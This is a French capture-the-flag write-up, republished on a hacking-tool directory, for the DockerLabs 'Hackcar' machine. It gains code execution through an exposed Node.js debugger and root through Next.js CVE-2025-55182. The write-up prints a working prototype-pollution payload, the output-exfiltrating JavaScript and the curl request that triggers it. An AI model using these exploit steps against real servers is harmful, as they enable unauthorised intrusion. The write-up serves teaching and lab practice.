Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
hackcar-writeup — Writeup : Hackcar - DockerLabs (RCE via Node.js Inspector + CVE-2025-55182 React2Shell) | Kitploit
Outils/GitHubGitHub/iapetus12/hackcar-writeup
Analyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationCTFTests d'IntrusionApprentissage et ÉducationRed TeamingLabs et PratiqueArchived
GitHubiapetus12/hackcar-writeup

hackcar-writeup

Writeup : Hackcar - DockerLabs (RCE via Node.js Inspector + CVE-2025-55182 React2Shell)

il y a 13h 16mPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Hackcar - Writeup

Plateforme : DockerLabs Difficulté : Moyenne (plus ou moins, elle a son piquant) Objectif : De webuser à root en cassant une Next.js


Le démarrage : reconnaissance

Comme toujours, d'abord les choses en premier : voir ce qu'on a devant nous.

root@kitploit:~
nmap -sC -sV -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js (Express middleware)
9229/tcp open  http    ????

Attends... 9229 ? Ce port n'est pas normal. Et un scan complet confirme qu'il n'y a que deux ports :

root@kitploit:~
nmap -p- --min-rate 1000 -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE
8080/tcp open  http-proxy
9229/tcp open  unknown

Le 9229 est le port typique du Node.js inspector (debugger). S'il est exposé sans protection, c'est pratiquement une porte ouverte à l'exécution de code. Vérifions ça.

root@kitploit:~
curl -s http://172.17.0.2:9229/json
root@kitploit:~
[{
  "description": "node.js instance",
  "title": "/home/webuser/node_app/app.js",
  "webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]

Bingo. Le debugger de Node est exposé, sans authentification, et en plus il nous dit où vit l'app. C'est du RCE direct.


Phase 1 : RCE via Node.js Inspector

Avec le debugger exposé, il nous suffit de nous connecter au WebSocket et d'utiliser Runtime.evaluate pour exécuter ce qu'on veut à l'intérieur du processus Node.

Je me suis fait un script Python rapide qui récupère l'URL du debugger et exécute des commandes avec process.mainModule.require('child_process').execSync() :

root@kitploit:~
expression = ("process.mainModule.require('child_process')"
              f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")

Pour ne pas me battre avec les guillemets, j'envoie toute la commande en base64 et je la décode à l'intérieur du processus lui-même. Premier test :

root@kitploit:~
python3 node_rce.py "id"
root@kitploit:~
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)

RCE en tant que webuser. On tient la machine... ou du moins je le croyais. En fait, le bon morceau était mieux caché.

Regardons les processus pour voir ce qui tourne d'autre sur la machine :

root@kitploit:~
ps auxww
root@kitploit:~
root      7  0.0  0.0  sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root      8  0.0  0.0  npm exec next dev -p 3000 -H 127.0.0.1
root     30  0.0  0.0  node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root     42  0.8  2.4  next-server (v15.0.0-rc.1)

Attention, info importante ! Il y a une Next.js version 15.0.0-rc.1 qui tourne en tant que ROOT sur le port 3000 (localhost uniquement). Ça sent le privilège... et le CVE.

Comme elle n'écoute que sur 127.0.0.1 à l'intérieur du container, on ne peut pas la toucher depuis l'extérieur. Mais on a un RCE, donc on peut y entrer depuis l'intérieur. Voyons d'abord ce que c'est :

root@kitploit:~
curl -s http://127.0.0.1:3000/

Un "Internal Administration Portal" apparaît — un portail interne d'administration. Tout ça est très appétissant.

On trouve vite la flag user :

root@kitploit:~
DL{g2QrDUvg3HiqaWeZBbZa}

Et maintenant il faut escalader vers root à travers cette Next.js.


Phase 2 : React2Shell (CVE-2025-55182)

La version est Next.js 15.0.0-rc.1, qui utilise React 19 vulnérable au fameux React2Shell (CVE-2025-55182) : un RCE critique (CVSS 10.0) par prototype pollution dans le parser RSC (React Server Components / Flight protocol).

L'exploit est un multipart/form-data malformé avec le header Next-Action, qui fait que le parser de React désérialise un objet empoisonné qui finit par appeler le constructeur Function avec notre code :

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B0\"}",
  "_response": {
    "_prefix": "<CODE JS À EXÉCUTER>",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

Autrement dit : on empoisonne Chunk.prototype.then, le parser charge notre modèle, et à la résolution de la promesse notre JavaScript s'exécute dans le processus Next.js, qui tourne en tant que root.

Pour récupérer la sortie, j'ai utilisé le mode "redirect" : le code exécute la commande, encode le résultat en base64 et le met dans la propriété digest d'une Error, que Next.js renvoie comme header :

root@kitploit:~
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;

La requête finale :

root@kitploit:~
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
  -H 'Next-Action: x' \
  -F '0=</tmp/p0.txt' \
  -F '1=</tmp/p1.txt'

Le serveur répond 500 (c'est normal, c'est une erreur volontaire) et dans le header :

root@kitploit:~
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...

On décode :

root@kitploit:~
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

ON EST ROOT. Et la flag :

root@kitploit:~
python3 react2shell.py "cat /root/root.txt"
root@kitploit:~
DL{Z8Gc5NFYMrH3W4vv5ZWa}

Résumé de l'attaque

root@kitploit:~
nmap
 └─ 8080 (web Express, statique, pur bluff)
 └─ 9229 (Node.js inspector EXPOSÉ)
      └─ RCE en tant que webuser via Runtime.evaluate
           └─ Énumération : Next.js 15.0.0-rc.1 sur 127.0.0.1:3000 en tant que ROOT
                └─ CVE-2025-55182 (React2Shell) : RCE root
                     └─ flag : DL{Z8Gc5NFYMrH3W4vv5ZWa}

Flags :

FichierFlag
/home/webuser/user.txtDL{g2QrDUvg3HiqaWeZBbZa}
/root/root.txtDL{Z8Gc5NFYMrH3W4vv5ZWa}

Vulnérabilités (pourquoi c'est arrivé)

#VulnérabilitéCWECe que ça nous a donné
1Node.js inspector sans authentification (port 9229)CWE-284RCE en tant que webuser
2Next.js 15.0.0-rc.1 obsolète (React2Shell, CVE-2025-55182)CWE-1321 / CWE-502RCE en tant que root

Leçons :

  • N'expose jamais le debugger de Node en production (même pas sur un réseau "interne").
  • Mets à jour tes dépendances. Cette Next.js traîne une CVE critique connue depuis des mois.
  • Ne binde pas des services uniquement à localhost si le processus est déjà compromis : webuser pouvait atteindre localhost:3000.
  • DockerLabs, c'est toujours pour apprendre, pas pour te prendre la tête dans des environnements réels ;)

Outils

OutilUsage
nmapReconnaissance des ports
curlÉnumération web et déclenchement de l'exploit
websocket-client (Python)Parler avec l'inspector de Node
jadxLa machine précédente (pas ici, mais je continue de la trouver belle)
base64Transporter des payloads sans galère avec les guillemets

Writeup à but éducatif. Ne touche que les machines pour lesquelles tu as l'autorisation (DockerLabs, HTB, ton propre laboratoire).

Télécharger l’outil